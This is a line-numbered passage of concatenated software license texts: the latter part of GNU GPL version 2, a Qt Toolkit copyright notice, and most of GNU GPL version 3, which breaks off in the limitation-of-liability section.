141 3. You may copy and distribute the Program (or a work based on it,
142 under Section 2) in object code or executable form under the terms of
143 Sections 1 and 2 above provided that you also do one of the following:
144
145 a) Accompany it with the complete corresponding machine-readable
146 source code, which must be distributed under the terms of Sections
147 1 and 2 above on a medium customarily used for software interchange; or,
148
149 b) Accompany it with a written offer, valid for at least three
150 years, to give any third party, for a charge no more than your
151 cost of physically performing source distribution, a complete
152 machine-readable copy of the corresponding source code, to be
153 distributed under the terms of Sections 1 and 2 above on a medium
154 customarily used for software interchange; or,
155
156 c) Accompany it with the information you received as to the offer
157 to distribute corresponding source code. (This alternative is
158 allowed only for noncommercial distribution and only if you
159 received the program in object code or executable form with such
160 an offer, in accord with Subsection b above.)
161
162 The source code for a work means the preferred form of the work for
163 making modifications to it. For an executable work, complete source
164 code means all the source code for all modules it contains, plus any
165 associated interface definition files, plus the scripts used to
166 control compilation and installation of the executable. However, as a
167 special exception, the source code distributed need not include
168 anything that is normally distributed (in either source or binary
169 form) with the major components (compiler, kernel, and so on) of the
170 operating system on which the executable runs, unless that component
171 itself accompanies the executable.
172
173 If distribution of executable or object code is made by offering
174 access to copy from a designated place, then offering equivalent
175 access to copy the source code from the same place counts as
176 distribution of the source code, even though third parties are not
177 compelled to copy the source along with the object code.
178
179 4. You may not copy, modify, sublicense, or distribute the Program
180 except as expressly provided under this License. Any attempt
181 otherwise to copy, modify, sublicense or distribute the Program is
182 void, and will automatically terminate your rights under this License.
183 However, parties who have received copies, or rights, from you under
184 this License will not have their licenses terminated so long as such
185 parties remain in full compliance.
186
187 5. You are not required to accept this License, since you have not
188 signed it. However, nothing else grants you permission to modify or
189 distribute the Program or its derivative works. These actions are
190 prohibited by law if you do not accept this License. Therefore, by
191 modifying or distributing the Program (or any work based on the
192 Program), you indicate your acceptance of this License to do so, and
193 all its terms and conditions for copying, distributing or modifying
194 the Program or works based on it.
195
196 6. Each time you redistribute the Program (or any work based on the
197 Program), the recipient automatically receives a license from the
198 original licensor to copy, distribute or modify the Program subject to
199 these terms and conditions. You may not impose any further
200 restrictions on the recipients' exercise of the rights granted herein.
201 You are not responsible for enforcing compliance by third parties to
202 this License.
203
204 7. If, as a consequence of a court judgment or allegation of patent
205 infringement or for any other reason (not limited to patent issues),
206 conditions are imposed on you (whether by court order, agreement or
207 otherwise) that contradict the conditions of this License, they do not
208 excuse you from the conditions of this License. If you cannot
209 distribute so as to satisfy simultaneously your obligations under this
210 License and any other pertinent obligations, then as a consequence you
211 may not distribute the Program at all. For example, if a patent
212 license would not permit royalty-free redistribution of the Program by
213 all those who receive copies directly or indirectly through you, then
214 the only way you could satisfy both it and this License would be to
215 refrain entirely from distribution of the Program.
216
217 If any portion of this section is held invalid or unenforceable under
218 any particular circumstance, the balance of the section is intended to
219 apply and the section as a whole is intended to apply in other
220 circumstances.
221
222 It is not the purpose of this section to induce you to infringe any
223 patents or other property right claims or to contest validity of any
224 such claims; this section has the sole purpose of protecting the
225 integrity of the free software distribution system, which is
226 implemented by public license practices. Many people have made
227 generous contributions to the wide range of software distributed
228 through that system in reliance on consistent application of that
229 system; it is up to the author/donor to decide if he or she is willing
230 to distribute software through any other system and a licensee cannot
231 impose that choice.
232
233 This section is intended to make thoroughly clear what is believed to
234 be a consequence of the rest of this License.
235
236 8. If the distribution and/or use of the Program is restricted in
237 certain countries either by patents or by copyrighted interfaces, the
238 original copyright holder who places the Program under this License
239 may add an explicit geographical distribution limitation excluding
240 those countries, so that distribution is permitted only in or among
241 countries not thus excluded. In such case, this License incorporates
242 the limitation as if written in the body of this License.
243
244 9. The Free Software Foundation may publish revised and/or new versions
245 of the General Public License from time to time. Such new versions will
246 be similar in spirit to the present version, but may differ in detail to
247 address new problems or concerns.
248
249 Each version is given a distinguishing version number. If the Program
250 specifies a version number of this License which applies to it and "any
251 later version", you have the option of following the terms and conditions
252 either of that version or of any later version published by the Free
253 Software Foundation. If the Program does not specify a version number of
254 this License, you may choose any version ever published by the Free Software
255 Foundation.
256
257 10. If you wish to incorporate parts of the Program into other free
258 programs whose distribution conditions are different, write to the author
259 to ask for permission. For software which is copyrighted by the Free
260 Software Foundation, write to the Free Software Foundation; we sometimes
261 make exceptions for this. Our decision will be guided by the two goals
262 of preserving the free status of all derivatives of our free software and
263 of promoting the sharing and reuse of software generally.
264
265 NO WARRANTY
266
267 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
268 FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
269 OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
270 PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
271 OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
272 MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
273 TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
274 PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
275 REPAIR OR CORRECTION.
276
277 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
278 WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
279 REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
280 INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
281 OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
282 TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
283 YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
284 PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
285 POSSIBILITY OF SUCH DAMAGES.
286
287 END OF TERMS AND CONDITIONS
288
289 How to Apply These Terms to Your New Programs
290
291 If you develop a new program, and you want it to be of the greatest
292 possible use to the public, the best way to achieve this is to make it
293 free software which everyone can redistribute and change under these terms.
294
295 To do so, attach the following notices to the program. It is safest
296 to attach them to the start of each source file to most effectively
297 convey the exclusion of warranty; and each file should have at least
298 the "copyright" line and a pointer to where the full notice is found.
299
300 <one line to give the program's name and a brief idea of what it does.>
301 Copyright (C) <year> <name of author>
302
303 This program is free software; you can redistribute it and/or modify
304 it under the terms of the GNU General Public License as published by
305 the Free Software Foundation; either version 2 of the License, or
306 (at your option) any later version.
307
308 This program is distributed in the hope that it will be useful,
309 but WITHOUT ANY WARRANTY; without even the implied warranty of
310 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
311 GNU General Public License for more details.
312
313 You should have received a copy of the GNU General Public License
314 along with this program; if not, write to the Free Software
315 Foundation, Inc., 51 Franklin Steet, Fifth Floor,
316 Boston, MA 02110-1301, USA.
317
318
319 Also add information on how to contact you by electronic and paper mail.
320
321 If the program is interactive, make it output a short notice like this
322 when it starts in an interactive mode:
323
324 Gnomovision version 69, Copyright (C) year name of author
325 Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
326 This is free software, and you are welcome to redistribute it
327 under certain conditions; type `show c' for details.
328
329 The hypothetical commands `show w' and `show c' should show the appropriate
330 parts of the General Public License. Of course, the commands you use may
331 be called something other than `show w' and `show c'; they could even be
332 mouse-clicks or menu items--whatever suits your program.
333
334 You should also get your employer (if you work as a programmer) or your
335 school, if any, to sign a "copyright disclaimer" for the program, if
336 necessary. Here is a sample; alter the names:
337
338 Yoyodyne, Inc., hereby disclaims all copyright interest in the program
339 `Gnomovision' (which makes passes at compilers) written by James Hacker.
340
341 <signature of Ty Coon>, 1 April 1989
342 Ty Coon, President of Vice
343
344 This General Public License does not permit incorporating your program into
345 proprietary programs. If your program is a subroutine library, you may
346 consider it more useful to permit linking proprietary applications with the
347 library. If this is what you want to do, use the GNU Library General
348 Public License instead of this License.
349
350 -------------------------------------------------------------------------
0
1 The Qt GUI Toolkit is Copyright (C) 1994-2008 Trolltech ASA.
2
3 You may use, distribute and copy the Qt GUI Toolkit under the terms of
4 GNU General Public License version 2, which is displayed below.
5
6 -------------------------------------------------------------------------
7
8 GNU GENERAL PUBLIC LICENSE
9 Version 3, 29 June 2007
10
11 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
12 Everyone is permitted to copy and distribute verbatim copies
13 of this license document, but changing it is not allowed.
14
15 Preamble
16
17 The GNU General Public License is a free, copyleft license for
18 software and other kinds of works.
19
20 The licenses for most software and other practical works are designed
21 to take away your freedom to share and change the works. By contrast,
22 the GNU General Public License is intended to guarantee your freedom to
23 share and change all versions of a program--to make sure it remains free
24 software for all its users. We, the Free Software Foundation, use the
25 GNU General Public License for most of our software; it applies also to
26 any other work released this way by its authors. You can apply it to
27 your programs, too.
28
29 When we speak of free software, we are referring to freedom, not
30 price. Our General Public Licenses are designed to make sure that you
31 have the freedom to distribute copies of free software (and charge for
32 them if you wish), that you receive source code or can get it if you
33 want it, that you can change the software or use pieces of it in new
34 free programs, and that you know you can do these things.
35
36 To protect your rights, we need to prevent others from denying you
37 these rights or asking you to surrender the rights. Therefore, you have
38 certain responsibilities if you distribute copies of the software, or if
39 you modify it: responsibilities to respect the freedom of others.
40
41 For example, if you distribute copies of such a program, whether
42 gratis or for a fee, you must pass on to the recipients the same
43 freedoms that you received. You must make sure that they, too, receive
44 or can get the source code. And you must show them these terms so they
45 know their rights.
46
47 Developers that use the GNU GPL protect your rights with two steps:
48 (1) assert copyright on the software, and (2) offer you this License
49 giving you legal permission to copy, distribute and/or modify it.
50
51 For the developers' and authors' protection, the GPL clearly explains
52 that there is no warranty for this free software. For both users' and
53 authors' sake, the GPL requires that modified versions be marked as
54 changed, so that their problems will not be attributed erroneously to
55 authors of previous versions.
56
57 Some devices are designed to deny users access to install or run
58 modified versions of the software inside them, although the manufacturer
59 can do so. This is fundamentally incompatible with the aim of
60 protecting users' freedom to change the software. The systematic
61 pattern of such abuse occurs in the area of products for individuals to
62 use, which is precisely where it is most unacceptable. Therefore, we
63 have designed this version of the GPL to prohibit the practice for those
64 products. If such problems arise substantially in other domains, we
65 stand ready to extend this provision to those domains in future versions
66 of the GPL, as needed to protect the freedom of users.
67
68 Finally, every program is threatened constantly by software patents.
69 States should not allow patents to restrict development and use of
70 software on general-purpose computers, but in those that do, we wish to
71 avoid the special danger that patents applied to a free program could
72 make it effectively proprietary. To prevent this, the GPL assures that
73 patents cannot be used to render the program non-free.
74
75 The precise terms and conditions for copying, distribution and
76 modification follow.
77
78 TERMS AND CONDITIONS
79
80 0. Definitions.
81
82 "This License" refers to version 3 of the GNU General Public License.
83
84 "Copyright" also means copyright-like laws that apply to other kinds of
85 works, such as semiconductor masks.
86
87 "The Program" refers to any copyrightable work licensed under this
88 License. Each licensee is addressed as "you". "Licensees" and
89 "recipients" may be individuals or organizations.
90
91 To "modify" a work means to copy from or adapt all or part of the work
92 in a fashion requiring copyright permission, other than the making of an
93 exact copy. The resulting work is called a "modified version" of the
94 earlier work or a work "based on" the earlier work.
95
96 A "covered work" means either the unmodified Program or a work based
97 on the Program.
98
99 To "propagate" a work means to do anything with it that, without
100 permission, would make you directly or secondarily liable for
101 infringement under applicable copyright law, except executing it on a
102 computer or modifying a private copy. Propagation includes copying,
103 distribution (with or without modification), making available to the
104 public, and in some countries other activities as well.
105
106 To "convey" a work means any kind of propagation that enables other
107 parties to make or receive copies. Mere interaction with a user through
108 a computer network, with no transfer of a copy, is not conveying.
109
110 An interactive user interface displays "Appropriate Legal Notices"
111 to the extent that it includes a convenient and prominently visible
112 feature that (1) displays an appropriate copyright notice, and (2)
113 tells the user that there is no warranty for the work (except to the
114 extent that warranties are provided), that licensees may convey the
115 work under this License, and how to view a copy of this License. If
116 the interface presents a list of user commands or options, such as a
117 menu, a prominent item in the list meets this criterion.
118
119 1. Source Code.
120
121 The "source code" for a work means the preferred form of the work
122 for making modifications to it. "Object code" means any non-source
123 form of a work.
124
125 A "Standard Interface" means an interface that either is an official
126 standard defined by a recognized standards body, or, in the case of
127 interfaces specified for a particular programming language, one that
128 is widely used among developers working in that language.
129
130 The "System Libraries" of an executable work include anything, other
131 than the work as a whole, that (a) is included in the normal form of
132 packaging a Major Component, but which is not part of that Major
133 Component, and (b) serves only to enable use of the work with that
134 Major Component, or to implement a Standard Interface for which an
135 implementation is available to the public in source code form. A
136 "Major Component", in this context, means a major essential component
137 (kernel, window system, and so on) of the specific operating system
138 (if any) on which the executable work runs, or a compiler used to
139 produce the work, or an object code interpreter used to run it.
140
141 The "Corresponding Source" for a work in object code form means all
142 the source code needed to generate, install, and (for an executable
143 work) run the object code and to modify the work, including scripts to
144 control those activities. However, it does not include the work's
145 System Libraries, or general-purpose tools or generally available free
146 programs which are used unmodified in performing those activities but
147 which are not part of the work. For example, Corresponding Source
148 includes interface definition files associated with source files for
149 the work, and the source code for shared libraries and dynamically
150 linked subprograms that the work is specifically designed to require,
151 such as by intimate data communication or control flow between those
152 subprograms and other parts of the work.
153
154 The Corresponding Source need not include anything that users
155 can regenerate automatically from other parts of the Corresponding
156 Source.
157
158 The Corresponding Source for a work in source code form is that
159 same work.
160
161 2. Basic Permissions.
162
163 All rights granted under this License are granted for the term of
164 copyright on the Program, and are irrevocable provided the stated
165 conditions are met. This License explicitly affirms your unlimited
166 permission to run the unmodified Program. The output from running a
167 covered work is covered by this License only if the output, given its
168 content, constitutes a covered work. This License acknowledges your
169 rights of fair use or other equivalent, as provided by copyright law.
170
171 You may make, run and propagate covered works that you do not
172 convey, without conditions so long as your license otherwise remains
173 in force. You may convey covered works to others for the sole purpose
174 of having them make modifications exclusively for you, or provide you
175 with facilities for running those works, provided that you comply with
176 the terms of this License in conveying all material for which you do
177 not control copyright. Those thus making or running the covered works
178 for you must do so exclusively on your behalf, under your direction
179 and control, on terms that prohibit them from making any copies of
180 your copyrighted material outside their relationship with you.
181
182 Conveying under any other circumstances is permitted solely under
183 the conditions stated below. Sublicensing is not allowed; section 10
184 makes it unnecessary.
185
186 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
187
188 No covered work shall be deemed part of an effective technological
189 measure under any applicable law fulfilling obligations under article
190 11 of the WIPO copyright treaty adopted on 20 December 1996, or
191 similar laws prohibiting or restricting circumvention of such
192 measures.
193
194 When you convey a covered work, you waive any legal power to forbid
195 circumvention of technological measures to the extent such circumvention
196 is effected by exercising rights under this License with respect to
197 the covered work, and you disclaim any intention to limit operation or
198 modification of the work as a means of enforcing, against the work's
199 users, your or third parties' legal rights to forbid circumvention of
200 technological measures.
201
202 4. Conveying Verbatim Copies.
203
204 You may convey verbatim copies of the Program's source code as you
205 receive it, in any medium, provided that you conspicuously and
206 appropriately publish on each copy an appropriate copyright notice;
207 keep intact all notices stating that this License and any
208 non-permissive terms added in accord with section 7 apply to the code;
209 keep intact all notices of the absence of any warranty; and give all
210 recipients a copy of this License along with the Program.
211
212 You may charge any price or no price for each copy that you convey,
213 and you may offer support or warranty protection for a fee.
214
215 5. Conveying Modified Source Versions.
216
217 You may convey a work based on the Program, or the modifications to
218 produce it from the Program, in the form of source code under the
219 terms of section 4, provided that you also meet all of these conditions:
220
221 a) The work must carry prominent notices stating that you modified
222 it, and giving a relevant date.
223
224 b) The work must carry prominent notices stating that it is
225 released under this License and any conditions added under section
226 7. This requirement modifies the requirement in section 4 to
227 "keep intact all notices".
228
229 c) You must license the entire work, as a whole, under this
230 License to anyone who comes into possession of a copy. This
231 License will therefore apply, along with any applicable section 7
232 additional terms, to the whole of the work, and all its parts,
233 regardless of how they are packaged. This License gives no
234 permission to license the work in any other way, but it does not
235 invalidate such permission if you have separately received it.
236
237 d) If the work has interactive user interfaces, each must display
238 Appropriate Legal Notices; however, if the Program has interactive
239 interfaces that do not display Appropriate Legal Notices, your
240 work need not make them do so.
241
242 A compilation of a covered work with other separate and independent
243 works, which are not by their nature extensions of the covered work,
244 and which are not combined with it such as to form a larger program,
245 in or on a volume of a storage or distribution medium, is called an
246 "aggregate" if the compilation and its resulting copyright are not
247 used to limit the access or legal rights of the compilation's users
248 beyond what the individual works permit. Inclusion of a covered work
249 in an aggregate does not cause this License to apply to the other
250 parts of the aggregate.
251
252 6. Conveying Non-Source Forms.
253
254 You may convey a covered work in object code form under the terms
255 of sections 4 and 5, provided that you also convey the
256 machine-readable Corresponding Source under the terms of this License,
257 in one of these ways:
258
259 a) Convey the object code in, or embodied in, a physical product
260 (including a physical distribution medium), accompanied by the
261 Corresponding Source fixed on a durable physical medium
262 customarily used for software interchange.
263
264 b) Convey the object code in, or embodied in, a physical product
265 (including a physical distribution medium), accompanied by a
266 written offer, valid for at least three years and valid for as
267 long as you offer spare parts or customer support for that product
268 model, to give anyone who possesses the object code either (1) a
269 copy of the Corresponding Source for all the software in the
270 product that is covered by this License, on a durable physical
271 medium customarily used for software interchange, for a price no
272 more than your reasonable cost of physically performing this
273 conveying of source, or (2) access to copy the
274 Corresponding Source from a network server at no charge.
275
276 c) Convey individual copies of the object code with a copy of the
277 written offer to provide the Corresponding Source. This
278 alternative is allowed only occasionally and noncommercially, and
279 only if you received the object code with such an offer, in accord
280 with subsection 6b.
281
282 d) Convey the object code by offering access from a designated
283 place (gratis or for a charge), and offer equivalent access to the
284 Corresponding Source in the same way through the same place at no
285 further charge. You need not require recipients to copy the
286 Corresponding Source along with the object code. If the place to
287 copy the object code is a network server, the Corresponding Source
288 may be on a different server (operated by you or a third party)
289 that supports equivalent copying facilities, provided you maintain
290 clear directions next to the object code saying where to find the
291 Corresponding Source. Regardless of what server hosts the
292 Corresponding Source, you remain obligated to ensure that it is
293 available for as long as needed to satisfy these requirements.
294
295 e) Convey the object code using peer-to-peer transmission, provided
296 you inform other peers where the object code and Corresponding
297 Source of the work are being offered to the general public at no
298 charge under subsection 6d.
299
300 A separable portion of the object code, whose source code is excluded
301 from the Corresponding Source as a System Library, need not be
302 included in conveying the object code work.
303
304 A "User Product" is either (1) a "consumer product", which means any
305 tangible personal property which is normally used for personal, family,
306 or household purposes, or (2) anything designed or sold for incorporation
307 into a dwelling. In determining whether a product is a consumer product,
308 doubtful cases shall be resolved in favor of coverage. For a particular
309 product received by a particular user, "normally used" refers to a
310 typical or common use of that class of product, regardless of the status
311 of the particular user or of the way in which the particular user
312 actually uses, or expects or is expected to use, the product. A product
313 is a consumer product regardless of whether the product has substantial
314 commercial, industrial or non-consumer uses, unless such uses represent
315 the only significant mode of use of the product.
316
317 "Installation Information" for a User Product means any methods,
318 procedures, authorization keys, or other information required to install
319 and execute modified versions of a covered work in that User Product from
320 a modified version of its Corresponding Source. The information must
321 suffice to ensure that the continued functioning of the modified object
322 code is in no case prevented or interfered with solely because
323 modification has been made.
324
325 If you convey an object code work under this section in, or with, or
326 specifically for use in, a User Product, and the conveying occurs as
327 part of a transaction in which the right of possession and use of the
328 User Product is transferred to the recipient in perpetuity or for a
329 fixed term (regardless of how the transaction is characterized), the
330 Corresponding Source conveyed under this section must be accompanied
331 by the Installation Information. But this requirement does not apply
332 if neither you nor any third party retains the ability to install
333 modified object code on the User Product (for example, the work has
334 been installed in ROM).
335
336 The requirement to provide Installation Information does not include a
337 requirement to continue to provide support service, warranty, or updates
338 for a work that has been modified or installed by the recipient, or for
339 the User Product in which it has been modified or installed. Access to a
340 network may be denied when the modification itself materially and
341 adversely affects the operation of the network or violates the rules and
342 protocols for communication across the network.
343
344 Corresponding Source conveyed, and Installation Information provided,
345 in accord with this section must be in a format that is publicly
346 documented (and with an implementation available to the public in
347 source code form), and must require no special password or key for
348 unpacking, reading or copying.
349
350 7. Additional Terms.
351
352 "Additional permissions" are terms that supplement the terms of this
353 License by making exceptions from one or more of its conditions.
354 Additional permissions that are applicable to the entire Program shall
355 be treated as though they were included in this License, to the extent
356 that they are valid under applicable law. If additional permissions
357 apply only to part of the Program, that part may be used separately
358 under those permissions, but the entire Program remains governed by
359 this License without regard to the additional permissions.
360
361 When you convey a copy of a covered work, you may at your option
362 remove any additional permissions from that copy, or from any part of
363 it. (Additional permissions may be written to require their own
364 removal in certain cases when you modify the work.) You may place
365 additional permissions on material, added by you to a covered work,
366 for which you have or can give appropriate copyright permission.
367
368 Notwithstanding any other provision of this License, for material you
369 add to a covered work, you may (if authorized by the copyright holders of
370 that material) supplement the terms of this License with terms:
371
372 a) Disclaiming warranty or limiting liability differently from the
373 terms of sections 15 and 16 of this License; or
374
375 b) Requiring preservation of specified reasonable legal notices or
376 author attributions in that material or in the Appropriate Legal
377 Notices displayed by works containing it; or
378
379 c) Prohibiting misrepresentation of the origin of that material, or
380 requiring that modified versions of such material be marked in
381 reasonable ways as different from the original version; or
382
383 d) Limiting the use for publicity purposes of names of licensors or
384 authors of the material; or
385
386 e) Declining to grant rights under trademark law for use of some
387 trade names, trademarks, or service marks; or
388
389 f) Requiring indemnification of licensors and authors of that
390 material by anyone who conveys the material (or modified versions of
391 it) with contractual assumptions of liability to the recipient, for
392 any liability that these contractual assumptions directly impose on
393 those licensors and authors.
394
395 All other non-permissive additional terms are considered "further
396 restrictions" within the meaning of section 10. If the Program as you
397 received it, or any part of it, contains a notice stating that it is
398 governed by this License along with a term that is a further
399 restriction, you may remove that term. If a license document contains
400 a further restriction but permits relicensing or conveying under this
401 License, you may add to a covered work material governed by the terms
402 of that license document, provided that the further restriction does
403 not survive such relicensing or conveying.
404
405 If you add terms to a covered work in accord with this section, you
406 must place, in the relevant source files, a statement of the
407 additional terms that apply to those files, or a notice indicating
408 where to find the applicable terms.
409
410 Additional terms, permissive or non-permissive, may be stated in the
411 form of a separately written license, or stated as exceptions;
412 the above requirements apply either way.
413
414 8. Termination.
415
416 You may not propagate or modify a covered work except as expressly
417 provided under this License. Any attempt otherwise to propagate or
418 modify it is void, and will automatically terminate your rights under
419 this License (including any patent licenses granted under the third
420 paragraph of section 11).
421
422 However, if you cease all violation of this License, then your
423 license from a particular copyright holder is reinstated (a)
424 provisionally, unless and until the copyright holder explicitly and
425 finally terminates your license, and (b) permanently, if the copyright
426 holder fails to notify you of the violation by some reasonable means
427 prior to 60 days after the cessation.
428
429 Moreover, your license from a particular copyright holder is
430 reinstated permanently if the copyright holder notifies you of the
431 violation by some reasonable means, this is the first time you have
432 received notice of violation of this License (for any work) from that
433 copyright holder, and you cure the violation prior to 30 days after
434 your receipt of the notice.
435
436 Termination of your rights under this section does not terminate the
437 licenses of parties who have received copies or rights from you under
438 this License. If your rights have been terminated and not permanently
439 reinstated, you do not qualify to receive new licenses for the same
440 material under section 10.
441
442 9. Acceptance Not Required for Having Copies.
443
444 You are not required to accept this License in order to receive or
445 run a copy of the Program. Ancillary propagation of a covered work
446 occurring solely as a consequence of using peer-to-peer transmission
447 to receive a copy likewise does not require acceptance. However,
448 nothing other than this License grants you permission to propagate or
449 modify any covered work. These actions infringe copyright if you do
450 not accept this License. Therefore, by modifying or propagating a
451 covered work, you indicate your acceptance of this License to do so.
452
453 10. Automatic Licensing of Downstream Recipients.
454
455 Each time you convey a covered work, the recipient automatically
456 receives a license from the original licensors, to run, modify and
457 propagate that work, subject to this License. You are not responsible
458 for enforcing compliance by third parties with this License.
459
460 An "entity transaction" is a transaction transferring control of an
461 organization, or substantially all assets of one, or subdividing an
462 organization, or merging organizations. If propagation of a covered
463 work results from an entity transaction, each party to that
464 transaction who receives a copy of the work also receives whatever
465 licenses to the work the party's predecessor in interest had or could
466 give under the previous paragraph, plus a right to possession of the
467 Corresponding Source of the work from the predecessor in interest, if
468 the predecessor has it or can get it with reasonable efforts.
469
470 You may not impose any further restrictions on the exercise of the
471 rights granted or affirmed under this License. For example, you may
472 not impose a license fee, royalty, or other charge for exercise of
473 rights granted under this License, and you may not initiate litigation
474 (including a cross-claim or counterclaim in a lawsuit) alleging that
475 any patent claim is infringed by making, using, selling, offering for
476 sale, or importing the Program or any portion of it.
477
478 11. Patents.
479
480 A "contributor" is a copyright holder who authorizes use under this
481 License of the Program or a work on which the Program is based. The
482 work thus licensed is called the contributor's "contributor version".
483
484 A contributor's "essential patent claims" are all patent claims
485 owned or controlled by the contributor, whether already acquired or
486 hereafter acquired, that would be infringed by some manner, permitted
487 by this License, of making, using, or selling its contributor version,
488 but do not include claims that would be infringed only as a
489 consequence of further modification of the contributor version. For
490 purposes of this definition, "control" includes the right to grant
491 patent sublicenses in a manner consistent with the requirements of
492 this License.
493
494 Each contributor grants you a non-exclusive, worldwide, royalty-free
495 patent license under the contributor's essential patent claims, to
496 make, use, sell, offer for sale, import and otherwise run, modify and
497 propagate the contents of its contributor version.
498
499 In the following three paragraphs, a "patent license" is any express
500 agreement or commitment, however denominated, not to enforce a patent
501 (such as an express permission to practice a patent or covenant not to
502 sue for patent infringement). To "grant" such a patent license to a
503 party means to make such an agreement or commitment not to enforce a
504 patent against the party.
505
506 If you convey a covered work, knowingly relying on a patent license,
507 and the Corresponding Source of the work is not available for anyone
508 to copy, free of charge and under the terms of this License, through a
509 publicly available network server or other readily accessible means,
510 then you must either (1) cause the Corresponding Source to be so
511 available, or (2) arrange to deprive yourself of the benefit of the
512 patent license for this particular work, or (3) arrange, in a manner
513 consistent with the requirements of this License, to extend the patent
514 license to downstream recipients. "Knowingly relying" means you have
515 actual knowledge that, but for the patent license, your conveying the
516 covered work in a country, or your recipient's use of the covered work
517 in a country, would infringe one or more identifiable patents in that
518 country that you have reason to believe are valid.
519
520 If, pursuant to or in connection with a single transaction or
521 arrangement, you convey, or propagate by procuring conveyance of, a
522 covered work, and grant a patent license to some of the parties
523 receiving the covered work authorizing them to use, propagate, modify
524 or convey a specific copy of the covered work, then the patent license
525 you grant is automatically extended to all recipients of the covered
526 work and works based on it.
527
528 A patent license is "discriminatory" if it does not include within
529 the scope of its coverage, prohibits the exercise of, or is
530 conditioned on the non-exercise of one or more of the rights that are
531 specifically granted under this License. You may not convey a covered
532 work if you are a party to an arrangement with a third party that is
533 in the business of distributing software, under which you make payment
534 to the third party based on the extent of your activity of conveying
535 the work, and under which the third party grants, to any of the
536 parties who would receive the covered work from you, a discriminatory
537 patent license (a) in connection with copies of the covered work
538 conveyed by you (or copies made from those copies), or (b) primarily
539 for and in connection with specific products or compilations that
540 contain the covered work, unless you entered into that arrangement,
541 or that patent license was granted, prior to 28 March 2007.
542
543 Nothing in this License shall be construed as excluding or limiting
544 any implied license or other defenses to infringement that may
545 otherwise be available to you under applicable patent law.
546
547 12. No Surrender of Others' Freedom.
548
549 If conditions are imposed on you (whether by court order, agreement or
550 otherwise) that contradict the conditions of this License, they do not
551 excuse you from the conditions of this License. If you cannot convey a
552 covered work so as to satisfy simultaneously your obligations under this
553 License and any other pertinent obligations, then as a consequence you may
554 not convey it at all. For example, if you agree to terms that obligate you
555 to collect a royalty for further conveying from those to whom you convey
556 the Program, the only way you could satisfy both those terms and this
557 License would be to refrain entirely from conveying the Program.
558
559 13. Use with the GNU Affero General Public License.
560
561 Notwithstanding any other provision of this License, you have
562 permission to link or combine any covered work with a work licensed
563 under version 3 of the GNU Affero General Public License into a single
564 combined work, and to convey the resulting work. The terms of this
565 License will continue to apply to the part which is the covered work,
566 but the special requirements of the GNU Affero General Public License,
567 section 13, concerning interaction through a network will apply to the
568 combination as such.
569
570 14. Revised Versions of this License.
571
572 The Free Software Foundation may publish revised and/or new versions of
573 the GNU General Public License from time to time. Such new versions will
574 be similar in spirit to the present version, but may differ in detail to
575 address new problems or concerns.
576
577 Each version is given a distinguishing version number. If the
578 Program specifies that a certain numbered version of the GNU General
579 Public License "or any later version" applies to it, you have the
580 option of following the terms and conditions either of that numbered
581 version or of any later version published by the Free Software
582 Foundation. If the Program does not specify a version number of the
583 GNU General Public License, you may choose any version ever published
584 by the Free Software Foundation.
585
586 If the Program specifies that a proxy can decide which future
587 versions of the GNU General Public License can be used, that proxy's
588 public statement of acceptance of a version permanently authorizes you
589 to choose that version for the Program.
590
591 Later license versions may give you additional or different
592 permissions. However, no additional obligations are imposed on any
593 author or copyright holder as a result of your choosing to follow a
594 later version.
595
596 15. Disclaimer of Warranty.
597
598 THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
599 APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
600 HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
601 OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
602 THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
603 PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
604 IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
605 ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
606
607 16. Limitation of Liability.
608
609 IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
610 WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
611 THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
612 GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
613 USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
614 DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
615 PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
